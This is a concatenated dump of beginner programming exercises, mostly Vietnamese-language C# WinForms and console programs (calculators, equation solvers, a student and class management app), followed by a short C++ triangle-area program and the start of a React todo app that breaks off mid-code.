System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormGiaiPhuongTrinhBacNhat : Form { public FormGiaiPhuongTrinhBacNhat() { InitializeComponent(); } private void btntinh_Click(object sender, EventArgs e) { try { double a, b; if (double.TryParse(txtsothunhat.Text, out a) == false) { txtsothunhat.SelectAll(); txtsothunhat.Focus(); throw new Exception("Du lieu nhap khong hop le"); } if (double.TryParse(txtsothuhai.Text, out b) == false) { txtsothuhai.SelectAll(); txtsothuhai.Focus(); throw new Exception("Du lieu nhap khong hop le"); } if (a == 0) { txtsothunhat.SelectAll(); txtsothunhat.Focus(); throw new Exception("Vo nghia"); } PhuongTrinh pt = new PhuongTrinh(); txtketqua.Text = pt.PhuongTrinhBac1(a, b).ToString(); } catch (Exception ex) { MessageBox.Show(ex.Message, "Loi", MessageBoxButtons.OKCancel, MessageBoxIcon.Error); } } private void txtsothunhat_TextChanged(object sender, EventArgs e) { double a; if (double.TryParse(txtsothunhat.Text, out a) == false) { txtsothunhat.Text = " "; } } private void txtsothuhai_TextChanged(object sender, EventArgs e) { double b; if (double.TryParse(txtsothunhat.Text, out b) == false) { txtsothuhai.Text = " "; } } private void txttieude_TextChanged(object sender, EventArgs e) { } private void btnThoat_Click(object sender, EventArgs e) { this.Close(); } private void FormGiaiPhuongTrinhBacNhat_FormClosing(object sender, FormClosingEventArgs e) { var isOk = MessageBox.Show("Ban co muon thoat khong", "ThongBao", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning); if (isOk == DialogResult.Cancel) { e.Cancel = true; } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace FormQuanLySinhVien { class LopHoc { public string MaLop { get; set; } public string TenLop { get; set; } public string DiaChi { get; set; } public static List<LopHoc> DanhSachLopHoc; private static LopHoc ThongTinSuaLopHoc; public LopHoc() { } public LopHoc(string maLop, string tenLop, string diaChi) { MaLop = maLop; TenLop = tenLop; DiaChi = diaChi; } public string LopHoc2String() { return String.Format("{0},{1},{2},", MaLop, TenLop, DiaChi); } public static List<LopHoc> GetDanhSachLopHoc() { if (DanhSachLopHoc == null) return new List<LopHoc>(); return DanhSachLopHoc; } /// <summary> /// thêm thông tin đối tượng hiện tại vào danh sách /// là this /// </summary> public void Them() { if (DanhSachLopHoc == null) DanhSachLopHoc = new List<LopHoc>(); DanhSachLopHoc.Add(this); } public static void Xoa(string maLopHoc) { DanhSachLopHoc.RemoveAll(lophoc => lophoc.MaLop == maLopHoc); } public static void Sua(LopHoc lopHoc) { Xoa(lopHoc.MaLop); Them(lopHoc); } private static void Them(LopHoc lopHoc) { if (DanhSachLopHoc == null) DanhSachLopHoc = new List<LopHoc>(); DanhSachLopHoc.Add(lopHoc); } public static LopHoc LopHocById(string maLopHoc) { if(DanhSachLopHoc!= null) foreach (var lophoc in DanhSachLopHoc) { if (lophoc.MaLop == maLopHoc) return lophoc; } return new LopHoc(); } public static void SetThongTinSuaLopHoc(LopHoc lhSua) { ThongTinSuaLopHoc = lhSua; } public static LopHoc GetThongTinSuaLopHoc() { if (ThongTinSuaLopHoc != null) return ThongTinSuaLopHoc; return new LopHoc(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace FormQuanLySinhVien { public partial class FormSuaLopHoc : Form { public FormSuaLopHoc() { InitializeComponent(); SetInputForm(LopHoc.GetThongTinSuaLopHoc()); } private void SetInputForm(LopHoc lopHoc) { txtmalop.Text = lopHoc.MaLop; txttenlop.Text = lopHoc.TenLop; txtdiachi.Text = lopHoc.DiaChi; } private void btnsua_Click(object sender, EventArgs e) { try { LopHoc lhSua = GetInputForm(); LopHoc.Sua(lhSua); DialogResult = DialogResult.OK; } catch (Exception ex) { MessageBox.Show(ex.Message, "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Error); } } private LopHoc GetInputForm() { if(txtmalop.Text=="") { throw new Exception("Nhập vào mã lớp"); } if (txttenlop.Text == "") { throw new Exception("Nhập vào tên lớp"); } if (txtdiachi.Text == "") { throw new Exception("Nhập vào địa chỉ"); } return new LopHoc(txtmalop.Text, txttenlop.Text, txtdiachi.Text); } private void btnxoa_Click(object sender, EventArgs e) { var isOk = MessageBox.Show("Bạn có muốn xóa không ?", "Thông Báo", MessageBoxButtons.OK, MessageBoxIcon.Warning); if (isOk != DialogResult.OK) return; LopHoc.Xoa(LopHoc.GetThongTinSuaLopHoc().MaLop); DialogResult = DialogResult.OK; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Runtime.CompilerServices; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormMain : Form { public FormMain() { InitializeComponent(); } private void btnnuttru_Click(object sender, EventArgs e) { Form PT = new FormPhepTru(); PT.Show(); } private void btnnutcong_Click(object sender, EventArgs e) { FormPhepCong formPhepCong = new FormPhepCong(); formPhepCong.Show(); } private void btnphepnhan_Click(object sender, EventArgs e) { FormPhepNhan formPhepNhan = new FormPhepNhan(); formPhepNhan.Show(); } private void btnphepchia_Click(object sender, EventArgs e) { FormPhepChia formPhepChia = new FormPhepChia(); formPhepChia.Show(); } private void FormMain_Load(object sender, EventArgs e) { } private void FormMain_FormClosing(object sender, FormClosingEventArgs e) { var isOk = MessageBox.Show("Ban co muon thoat khong", "Thong bao", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Warning); if (isOk == DialogResult.No) { e.Cancel = true; } if (isOk == DialogResult.Cancel) { e.Cancel = true; } } private void cộngToolStripMenuItem_Click(object sender, EventArgs e) { Form PC = new FormPhepCong(); PC.Show(); } private void trừToolStripMenuItem_Click(object sender, EventArgs e) { Form PT = new FormPhepTru(); PT.Show(); } private void nhânToolStripMenuItem_Click(object sender, EventArgs e) { FormPhepNhan formPhepNhan = new FormPhepNhan(); formPhepNhan.Show(); } private void chiaToolStripMenuItem_Click(object sender, EventArgs e) { FormPhepChia formPhepChia = new FormPhepChia(); formPhepChia.Show(); } private void phươngTrìnhBậc1ToolStripMenuItem_Click(object sender, EventArgs e) { FormGiaiPhuongTrinhBacNhat formGiaiPhuongTrinhBacNhat = new FormGiaiPhuongTrinhBacNhat(); formGiaiPhuongTrinhBacNhat.Show(); } private void phươngTrìnhBậc2ToolStripMenuItem_Click(object sender, EventArgs e) { Form PTB2 = new FormGiaiPhuongTrinhBacHai(); PTB2.Show(); } private void thoátToolStripMenuItem_Click(object sender, EventArgs e) { this.Close(); } private void tìmMaxToolStripMenuItem_Click(object sender, EventArgs e) { Form TimM = new FormTimMax(); TimM.Show(); } private void tìmMinToolStripMenuItem_Click(object sender, EventArgs e) { Form Timm = new FormTimmin(); Timm.Show(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormDangNhap : Form { public FormDangNhap() { InitializeComponent(); } private void btndangnhap_Click(object sender, EventArgs e) { try { if(txttaikhoan.Text==" ") { throw new Exception("Tên Đăng nhập không hợp lệ"); } if(txtmatkhau.Text=="") { throw new Exception("Mật khẩu không hợp lệ"); } if (txttaikhoan.Text == "admin" && txtmatkhau.Text == "123456") { this.DialogResult = DialogResult.OK; } else throw new Exception("Sai tên đăng nhập"); } catch (Exception ex) { lblthongbao.Text = ex.Message; } } private void FormDangNhap_Load(object sender, EventArgs e) { } private void btnthoat_Click(object sender, EventArgs e) { this.Close(); } private void txtmatkhau_TextChanged(object sender, EventArgs e) { } } } <file_sep>using sudungham; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApp1 { public partial class FormPhepChia : Form { public FormPhepChia() { InitializeComponent(); } private void btntinh_Click(object sender, EventArgs e) { try { double a, b; if(double.TryParse(txtsothunhat.Text, out a)==false) { txtsothunhat.SelectAll(); txtsothunhat.Focus(); throw new Exception("Du lieu nhap khong hop le"); } if (double.TryParse(txtsothuhai.Text, out b) == false) { txtsothuhai.SelectAll(); txtsothuhai.Focus(); throw new Exception("Du lieu nhap khong hop le"); } if (b == 0) { txtsothuhai.SelectAll(); txtsothuhai.Focus(); throw new Exception("Loi khong xac dinh"); } PhuongTrinh pt = new PhuongTrinh(); txtketqua.Text = pt.Thuong(a, b).ToString(); } catch (Exception ex) { MessageBox.Show(ex.Message, "Loi", MessageBoxButtons.OKCancel, MessageBoxIcon.Error); } } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace FormQuanLySinhVien { public partial class FormThemSinhVien : Form { public FormThemSinhVien() { InitializeComponent(); } private void FormThemSinhVien_Load(object sender, EventArgs e) { List<GioiTinh> lgt = GioiTinh.Get(); cbbgioitinh.DataSource = lgt; cbbgioitinh.DisplayMember = "Name"; cbbgioitinh.ValueMember = "Id"; //gán giá trị mặc định cbbgioitinh.SelectedIndex = 0; } private void button1_Click(object sender, EventArgs e) { try { Sinhvien sv = GetInPutSinhVien(); Sinhvien.Them(sv); DialogResult = DialogResult.OK; } catch (Exception ex) { MessageBox.Show(ex.Message, "Lỗi hệ thống", MessageBoxButtons.OK, MessageBoxIcon.Error); } } private Sinhvien GetInPutSinhVien() { if (txtmasv.Text == "") { txtmasv.Focus(); throw new Exception(" Nhập mã sinh viên"); } if (txttensv.Text == "") { txttensv.Focus(); throw new Exception(" Nhập tên sinh viên"); } if (txtdiachi.Text == "") { txtdiachi.Focus(); throw new Exception(" Nhập địa chỉ "); } GioiTinh gt = (GioiTinh) cbbgioitinh.SelectedItem; return new Sinhvien(txtmasv.Text, txttensv.Text, txtdiachi.Text, txtsdt.Text,gt.Id,dtngaysinh.Value); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace thangtrongnam { class Program { static void Main(string[] args) { int thang, nam; Console.WriteLine("nhap thang : "); thang = int.Parse(Console.ReadLine()); Console.WriteLine("nhap nam : "); nam = int.Parse(Console.ReadLine()); if (thang == 2) { if (nam % 4 == 0 && nam % 100 > 0) { Console.WriteLine("Thang 2 co 29 ngay"); } else { Console.WriteLine("thang 2 co 28 ngay"); } } else { switch (thang) { case 1: Console.WriteLine("Thang 1 co 31 ngay"); break; case 3: Console.WriteLine("Thang 3 co 31 ngay"); break; case 4: Console.WriteLine("Thang 4 co 30 ngay"); break; case 5: Console.WriteLine("Thang 5 co 31 ngay"); break; case 6: Console.WriteLine("Thang 6 co 30 ngay"); break; case 7: Console.WriteLine("Thang 7 co 31 ngay"); break; case 8: Console.WriteLine("Thang 8 co 31 ngay"); break; case 9: Console.WriteLine("Thang 9 co 30 ngay"); break; case 10: Console.WriteLine("Thang 10 co 31 ngay"); break; case 11: Console.WriteLine("Thang 11 co 30 ngay"); break; case 12: Console.WriteLine("Thang 12 co 31 ngay"); break; default: Console.WriteLine("Nhap Thang khong phu hop"); break; } } } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace FormQuanLySinhVien { public partial class FormDanhSachSinhVien : Form { private object sv; public FormDanhSachSinhVien() { InitializeComponent(); } private void FormDanhSachSinhVien_Load(object sender, EventArgs e) { resetDanhSachSinhVien(); } private void resetDanhSachSinhVien() { Sinhvien sv = new Sinhvien(); if (Sinhvien.DanhSachSinhVien != null) dgvdanhsachsinhvien.DataSource = Sinhvien.GetDanhSachSinhVien().ToList(); } private void btnthem_Click(object sender, EventArgs e) { Form fthemsv = new FormThemSinhVien(); var isOk = fthemsv.ShowDialog(); if(isOk==DialogResult.OK) { resetDanhSachSinhVien(); } } private void dgvdanhsachsinhvien_CellContentClick(object sender, DataGridViewCellEventArgs e) { string masV = dgvdanhsachsinhvien.Rows[e.RowIndex].Cells[0].Value.ToString(); Sinhvien svSua = Sinhvien.SinhVienbyId(masV); Sinhvien.SetSinhVienSua(svSua); Form fSuasv = new FormSuaSinhVien(); var isok = fSuasv.ShowDialog(); if(isok==DialogResult.OK) { resetDanhSachSinhVien(); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace sudungham { class Program { static void Main(string[] args) { //XinChao(); //XinChao(Console.ReadLine()); try { Menu(); } catch (Exception ex) { Console.WriteLine(ex.Message); } } private static void Menu() { Console.WriteLine("Chon Phuong Trinh"); Console.WriteLine("1. Giai phuong trinh bac 1"); Console.WriteLine("2. Tinh giai thua"); Console.WriteLine("3. Tinh Tong hai so nguyen"); Console.WriteLine("4. Tinh Hieu hai so nguyen"); Console.WriteLine("5. Phep chia hai so nguyen"); Console.WriteLine("6. Phep nhan hai so nguyen"); Console.WriteLine("7. Giai Phuong trinh bac 2"); Console.WriteLine("8. Tim so lon nhat"); Console.WriteLine("8. Tim so be nhat"); Console.WriteLine("Chon:"); string chon = Console.ReadLine(); switch(chon) { case "1": Phuongtrinhbac1(); break; case "2": Tinhgiaithua(); break; case "3": TinhTong(); break; case "4": TinhHieu(); break; case "5": TinhThuong(); break; case "6": TinhTich(); break; case "7": GiaiPhuongTrinhbac2(); break; case "8": Timsolonnhat(); break; case "9": Timsobenhat(); break; case "exit": return; } Console.WriteLine(" "); Menu(); } private static void Timsobenhat() { double x, y, z; Console.WriteLine("Nhap vao so thu nhat"); double.TryParse(Console.ReadLine(), out x); Console.WriteLine("Nhap vao so thu hai"); double.TryParse(Console.ReadLine(), out y); Console.WriteLine("Nhap vao so thu ba"); double.TryParse(Console.ReadLine(), out z); PhuongTrinh pt = new PhuongTrinh(); double kq10 = pt.Timmin(x,y,z); } private static void Timsolonnhat() { double x, y, z; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out x); Console.WriteLine("Nhap vao so thu hai"); double.TryParse(Console.ReadLine(), out y); Console.WriteLine("Nhap vao so thu ba "); double.TryParse(Console.ReadLine(), out z); PhuongTrinh pt = new PhuongTrinh(); double kq9 = pt.Timmax(x, y, z); Console.WriteLine("Ket Qua {0}", kq9); } private static void GiaiPhuongTrinhbac2() { double v12, v13,v14; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out v12); Console.WriteLine("Nhap vao so thu hai"); double.TryParse(Console.ReadLine(), out v13); Console.WriteLine("Nhap vao so thu ba "); double.TryParse(Console.ReadLine(), out v14); PhuongTrinh pt = new PhuongTrinh(); double [] kq8 = pt.PhuongTrinhBacHai(v12, v13, v14); Console.WriteLine("Ket Qua nghiem thu 1 {0}", kq8[0]); Console.WriteLine("Ket Qua nghiem thu 2 {0}", kq8[1]); } private static void TinhTich() { double v10, v11; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out v10); Console.WriteLine("Nhap vao so thu hai "); double.TryParse(Console.ReadLine(), out v11); PhuongTrinh pt = new PhuongTrinh(); double kq7 = pt.Tich(v10, v11); Console.WriteLine("Ket Qua {0}", kq7); } private static void TinhThuong() { double v8, v9; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out v8); Console.WriteLine("Nhap vao so thu hai "); double.TryParse(Console.ReadLine(), out v9); PhuongTrinh pt = new PhuongTrinh(); double kq6 = pt.Thuong(v8, v9); Console.WriteLine("Ket Qua {0}", kq6); } private static void TinhHieu() { double v6, v7; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out v6); Console.WriteLine("Nhap vao so thu hai "); double.TryParse(Console.ReadLine(), out v7); PhuongTrinh pt = new PhuongTrinh(); double kq5 = pt.Hieu(v6, v7); Console.WriteLine("Ket Qua {0}", kq5); } private static void TinhTong() { double v4, v5; Console.WriteLine("Nhap vao so thu nhat "); double.TryParse(Console.ReadLine(), out v4); Console.WriteLine("Nhap vao so thu hai "); double.TryParse(Console.ReadLine(), out v5); PhuongTrinh pt = new PhuongTrinh(); double kq4 = pt.Tong(v4, v5); Console.WriteLine("Ket Qua {0}", kq4); } private static void Tinhgiaithua() { int v3; Console.WriteLine("Nhap vao so c"); int.TryParse(Console.ReadLine(), out v3); int kq1 = Tinhgiaithua(v3); Console.WriteLine("Ket qua {0}", kq1); } private static int Tinhgiaithua(int v3) { if (v3 == 1) return 1; return v3 * Tinhgiaithua(v3 - 1); } private static void Phuongtrinhbac1() { double v1, v2; Console.WriteLine("Nhap Vao so a "); double.TryParse(Console.ReadLine(), out v1); Console.WriteLine("Nhap Vao so b "); double.TryParse(Console.ReadLine(), out v2); PhuongTrinh pt = new PhuongTrinh(); double kq = pt.PhuongTrinhBac1(v1, v2); Console.WriteLine("Ket qua {0}", kq); } private static double Phuongtrinhbac1(double v1, double v2) { if (v1 == 0) if (v2 == 0) throw new Exception("Phuong trinh vo so nghiem"); else throw new Exception("Phuong trinh vo nghiem"); Console.WriteLine("PT co nghiem la {0} ", -v2 / v1); return -v2 / v1; } private static void XinChao(string v) { Console.WriteLine("Xin chao! {0} ", v); } private static void XinChao() { Console.WriteLine("Xin Chao:"); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace FormQuanLySinhVien { class BangDiem { public string MaLop { get; set; } public string MaSV { get; set; } public double DiemToan { get; set; } public double DiemLy { get; set; } public double DiemHoa { get; set; } public static List<BangDiem> DanhSachBangDiem { get; set; } public BangDiem(string maLop, string maSV, double diemToan, double diemLy, double diemHoa) { MaLop = maLop; MaSV = maSV; DiemToan = diemToan; DiemLy = diemLy; DiemHoa = diemHoa; } public BangDiem() { } public string BangDiem2String() { return String.Format("{0},{1},{2},{3},{4}", MaLop, MaSV, DiemToan, DiemLy, DiemHoa); } public static List<BangDiem> GetDanhSachBangDiem() { if (DanhSachBangDiem == null) return new List<BangDiem>(); return DanhSachBangDiem; } public static void Them(BangDiem bd) { if (DanhSachBangDiem == null) DanhSachBangDiem = new List<BangDiem>(); DanhSachBangDiem.Add(bd); } public static void Xoa(string malophoc, string masinhvien ) { DanhSachBangDiem.RemoveAll(iteam => iteam.MaLop== malophoc && iteam.MaSV == masinhvien ); } public static void Sua(BangDiem bd) { Xoa(bd.MaLop, bd.MaSV); Them(bd); } internal static BangDiem BangDiemByMaSVMaLop(string masv, string malop) { foreach (var item in DanhSachBangDiem) { if (item.MaLop == malop && item.MaSV == masv) return item; } return new BangDiem(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace nhapsongaunhien { class Program { static void Main(string[] args) { int a; Console.WriteLine("Nhap vao so a: "); a = int.Parse(Console.ReadLine()); Random b = new Random(); int kq = b.Next(0, 20); Console.WriteLine("Xuat ra ket qua {0}",kq ); if (a == b.Next(0, 20)) { Console.WriteLine("Ban da doan dung"); } else Console.WriteLine("Ban da doan khong dung"); } } }
4df206c91f4373177b64ee675c371f63ce561a7c
[ "C#" ]
23
C#
minhthong141096/luutrucode
a9d6a981f617b75e2d8826b920d926d6e8416b54
2a5b019f95c80e2f3b0aa0e83a90ae9211a91af8
refs/heads/master
<repo_name>Loftier/SimpleCalculator<file_sep>/app/src/main/java/com/example/loftier/simplecalculator/Calculations.java package com.example.loftier.simplecalculator; public class Calculations extends Calculator { } <file_sep>/app/src/main/java/com/example/loftier/simplecalculator/Calculator.java package com.example.loftier.simplecalculator; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class Calculator extends AppCompatActivity implements View.OnClickListener { StringBuffer buffer = new StringBuffer(); StringBuffer number = new StringBuffer(); Button[] num; Button[] operators; EditText display; double num1=0.0, num2=0.0; int count=0, o=1; //Calculations calc; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_calculator); //initialization num = new Button[10]; operators = new Button[9]; //numbers num[1] = findViewById(R.id.idbtnone); num[2] = findViewById(R.id.idbtntwo); num[3] = findViewById(R.id.idbtnthree); num[4] = findViewById(R.id.idbtnfour); num[5] = findViewById(R.id.idbtnfive); num[6] = findViewById(R.id.idbtnsix); num[7] = findViewById(R.id.idbtnseven); num[8] = findViewById(R.id.idbtneight); num[9] = findViewById(R.id.idbtnnine); num[0] = findViewById(R.id.idbtnzero); //operators operators[0] = findViewById(R.id.idbtnac); operators[1] = findViewById(R.id.idbtnback); operators[2] = findViewById(R.id.idbtndivide); operators[3] = findViewById(R.id.idbtnmultiply); operators[4] = findViewById(R.id.idbtnsub); operators[5] = findViewById(R.id.idbtnadd); operators[6] = findViewById(R.id.idbtnpercent); operators[7] = findViewById(R.id.idbtndot); operators[8] = findViewById(R.id.idbtnequal); //Display Screen display = findViewById(R.id.idetdisplay); for(int i=0; i<10; i++) num[i].setOnClickListener(this); for(int i=0; i<9; i++) operators[i].setOnClickListener(this); } @Override public void onClick(View view) { for(int i = 0; i<10; i++) if(view == num[i]) displayNumbers(i); for(int i=0; i<9; i++) if (view == operators[i]) displayOperations(i); } void displayNumbers(int i) { buffer.append(i); number.append(i); display.setText(buffer); operators[0].setClickable(true); operators[1].setClickable(true); } void displayOperations(int i) { if (i == 0) { buffer.delete(0, buffer.length()); number.delete(0, number.length()); num1 = 0.0; num2 = 0.0; count = 0; display.setText(""); } else if (i == 1) { if (buffer.length() > 0) { if(buffer.indexOf("/") != -1 || buffer.indexOf("*") != -1 || buffer.indexOf("+") != -1 || buffer.indexOf("-") != -1 || buffer.indexOf("^") != -1 ) { buffer.delete(buffer.length() - 1, buffer.length()); display.setText(buffer); number.delete(0, number.length()); count=0; o=1; } else { buffer.delete(buffer.length() - 1, buffer.length()); if(number.length()>0) number.delete(number.length() - 1, number.length()); display.setText(buffer); } } else { operators[0].setClickable(false); operators[1].setClickable(false); } } else if (i >= 2 && i <= 6) { if(buffer.toString().isEmpty()) { Toast.makeText(this, "Enter a Number first", Toast.LENGTH_SHORT).show(); operators[0].setClickable(false); operators[1].setClickable(false); } else solve(i); } else if (i == 7) { number.append('.'); display.setText(buffer.append('.')); } else if (i == 8) if(buffer.toString().isEmpty()) Toast.makeText(this, "Enter a Number first", Toast.LENGTH_SHORT).show(); else solve(); } void solve ( int i) { if (count == 0) { count++; num1 = Double.parseDouble(display.getText().toString()); number.delete(0, number.length()); buffer.delete(0, buffer.length()); buffer.append(num1); if (buffer.length() > 12) buffer.delete(12, buffer.length()); if (number.length() > 12) number.delete(12, number.length()); switch (i) { case 2: { o = 2; display.setText(buffer.append('/')); break; } case 3: { o = 3; display.setText(buffer.append('*')); break; } case 4: { o = 4; display.setText(buffer.append('-')); break; } case 5: { o = 5; display.setText(buffer.append('+')); break; } case 6: { o = 6; display.setText(buffer.append('^')); break; } default: { } } } else { if (number.toString().isEmpty()) { Toast.makeText(this, "Invalid Input", Toast.LENGTH_SHORT).show(); } else { count++; num2 = Double.parseDouble(number.toString()); switch (o) { case 2: num1 = num1 / num2; break; case 3: num1 = num1 * num2; break; case 4: num1 = num1 - num2; break; case 5: num1 = num1 + num2; break; case 6: num1 = Math.pow(num1, num2); break; default: num1 = 0.0; } number.delete(0, number.length()); buffer.delete(0, buffer.length()); buffer.append(num1); if (buffer.length() > 12) buffer.delete(12, buffer.length()); if (number.length() > 12) number.delete(12, number.length()); switch (i) { case 2: { o = 2; display.setText(buffer.append('/')); break; } case 3: { o = 3; display.setText(buffer.append('*')); break; } case 4: { o = 4; display.setText(buffer.append('-')); break; } case 5: { o = 5; display.setText(buffer.append('+')); break; } case 6: { o = 6; display.setText(buffer.append('^')); break; } default: { } } } } } void solve () { if (number.toString().isEmpty()) { Toast.makeText(this, "Invalid Input", Toast.LENGTH_SHORT).show(); } else { num2 = Double.parseDouble(number.toString()); switch (o) { case 2: num1 = num1 / num2; break; case 3: num1 = num1 * num2; break; case 4: num1 = num1 - num2; break; case 5: num1 = num1 + num2; break; case 6: num1 = Math.pow(num1, num2); break; default: num1 = num2; break; } count = 0; buffer.delete(0, buffer.length()); buffer.append(num1); if (buffer.length() > 12) buffer.delete(12, buffer.length()); number.delete(0, number.length()); number.append(num1); if (number.length() > 12) number.delete(12, number.length()); display.setText(buffer); } } }
41aa500b8939e474d0f0f807ec2509ae855c4aa5
[ "Java" ]
2
Java
Loftier/SimpleCalculator
6d0d9698543f8bed12c68c3e8078caa3b117cbf0
60da88a1c25f6b09d443056b02af0ab1536c6aee
refs/heads/master
<repo_name>AnnikaChauhan/flappy-game-part-two<file_sep>/Obstacle.js export default class Obstacle { constructor(obstacleID){ this.obstacleID = obstacleID; this.height = this.setObstacleHeight; this.width = 100; this.obstacleRight = -80; } setObstacleHeight = () => { let randomIndex = Math.ceil(Math.random() * 4) return 100 * randomIndex; } randomColourGenerator = () => { let red = Math.floor(Math.random() * 255); let green = Math.floor(Math.random() * 255); let blue = Math.floor(Math.random() * 255); return `${red},${green},${blue}`; } generateObstacle = () => { return `<div class="obstacle" id="obstacle-${this.obstacleID}"></div>`; } buildObstacle = () => { let obstacle = document.getElementById(`obstacle-${this.obstacleID}`); obstacle.style.height = this.height(); obstacle.style.width = this.width; obstacle.style.backgroundColor = `rgb(${this.randomColourGenerator()})`; } moveObstaclemove = () => { const intervals = setInterval(() => { if (this.obstacleRight < 750) { this.obstacleRight += 25; document.getElementById(`obstacle-${this.obstacleID}`).style.right = this.obstacleRight; } }, 200); return intervals; } }<file_sep>/Object.js export default class Object { constructor(objectID) { this.objectID = objectID; this.objectTop = 100; this.objectHeight = 100; this.objectWidth = 100; } generateObject = () => { return '<div id="ball"></div>'; } fallObjectfall = () => { const intervals = setInterval(() => { if (this.objectTop < 400) { this.objectTop += 5; document.getElementById('ball').style.top = this.objectTop; document.getElementById('ball').style.height = this.objectHeight; document.getElementById('ball').style.width = this.objectWidth; } }, 100); return intervals; } jumpObjectJump = () => { if (event.which === 32) { this.objectTop -= 40; document.getElementById('ball').style.top = this.objectTop; } } }<file_sep>/app.js import Game from "./Game.js"; const myGame = new Game('game'); myGame.buildTheGamePage(); document.onkeypress = () => { if(event.which === 13){ myGame.play(); } }<file_sep>/README.md # flappy-game-part-two A game built after finishing the _nology course, in an attempt to improve the original 'flappy game' produced in game week (week 5) at _nology. It is an attempt to recreate flappy bird. Original game can be found [here](https://github.com/AnnikaChauhan/flappy-game). The game was built using HTML, CSS and JavaScript and does not need any additional packages to be run locally. Access to the live game is available [here](https://annikachauhan.github.io/flappy-game-part-two/).<file_sep>/Game.js import Object from "./Object.js"; import Obstacle from "./Obstacle.js"; export default class Game { constructor(id) { this.id = id; } buildTheGamePage = () => { document.getElementById(this.id).innerHTML = '<div id="gameBox"></div>'; } play = () => { let gameBoxHTML = document.getElementById('gameBox'); let myObject = new Object('flappyThing'); gameBoxHTML.innerHTML += myObject.generateObject(); myObject.fallObjectfall(); document.onkeydown = () => { if (event.which === 32) { myObject.jumpObjectJump(); } } let number = 0; const interval = () => { setInterval(() => { //this if statement is just whilst I test, maybe you can up this to 20 for the actual game??? if (number < 5) { number += 1; let myObstacle = new Obstacle(`${number}`); gameBoxHTML.innerHTML += myObstacle.generateObstacle(); myObstacle.buildObstacle(); myObstacle.moveObstaclemove(); // console.log(myObstacle.height()); // console.log(myObstacle.obstacleRight); this.hasCollided(myObject); } else { clearInterval(interval); } }, 1000); } interval(); this.hasCollided(myObject); //call the collision detection here, to stop intervals on true } hasCollided = (obj) => { let objectBottom = obj.objectTop + obj.objectHeight; console.log(obj.objectTop); console.log(objectBottom); } }
73fff22fe2b8431fddf8ba3ce5d27f8d5ce9be91
[ "JavaScript", "Markdown" ]
5
JavaScript
AnnikaChauhan/flappy-game-part-two
0595f1f544afaddfbcb86c4bf9ef980950909059
00697fb5525709322ef457dfbf1ff12762350b61
refs/heads/master
<file_sep>#include <iostream> #include <string> using namespace std; int main() { int A,H,B; string W ; cout << "Digite su nombre: "<< endl<< W; cin >> W; cout << W << " Con este programa encontrara el area del triangulo" <<endl; cout << "Digite el valor de la base"<< endl; cin >> B; cout << "Digite el valor de la Altura"<< endl; cin >> H; A = (B*H)/2; cout << W << " El Area del triangulo es: "<< A; }
c9073ce3dd6665e21fe2515aa2ebf997059400c5
[ "C++" ]
1
C++
Wanner66/Practica1
efa4bd132a14bf5e9a1ecaa6ff205a7075bf1206
6dfebe05a2edd33702450fd6b72593e545a7b9af
refs/heads/main
<file_sep>import React from 'react' const TodoCalender = () => { const date = new Date(); const day = date.getDate(); const weekDay = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thirsday", "Friday", "Saturday"][date.getDay()]; const month = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ][date.getMonth()]; const enOrdinalRules = new Intl.PluralRules("en", { type:"ordinal" }); const enOrdinalRulesMap = { one: "st", two: "nd", few: "rd", other: "th" } const enOrdinalSuffix = enOrdinalRulesMap[enOrdinalRules.select(day)] return ( <div className="todo_calender"> <h1>{`${weekDay}, ${day}${enOrdinalSuffix}`}</h1> <p className="month">{month}</p> </div> ) } export default TodoCalender <file_sep>import React, { useEffect, useState } from "react"; import TodoCalender from "./TodoCalender"; import headerImage from "../components/header_img.png"; import { Zoom, Fade} from "react-awesome-reveal"; // local storage for getItem() const getLocalStorageItems = () => { const myLists = localStorage.getItem("lists"); if (myLists) { return JSON.parse(localStorage.getItem("lists")); } else { return []; } }; const TodoItems = () => { const [input, setInput] = useState(""); const [items, setItems] = useState(getLocalStorageItems()); const [toggleSubmit, setToggleSubmit] = useState(true); const [isEdit, setIsEdit] = 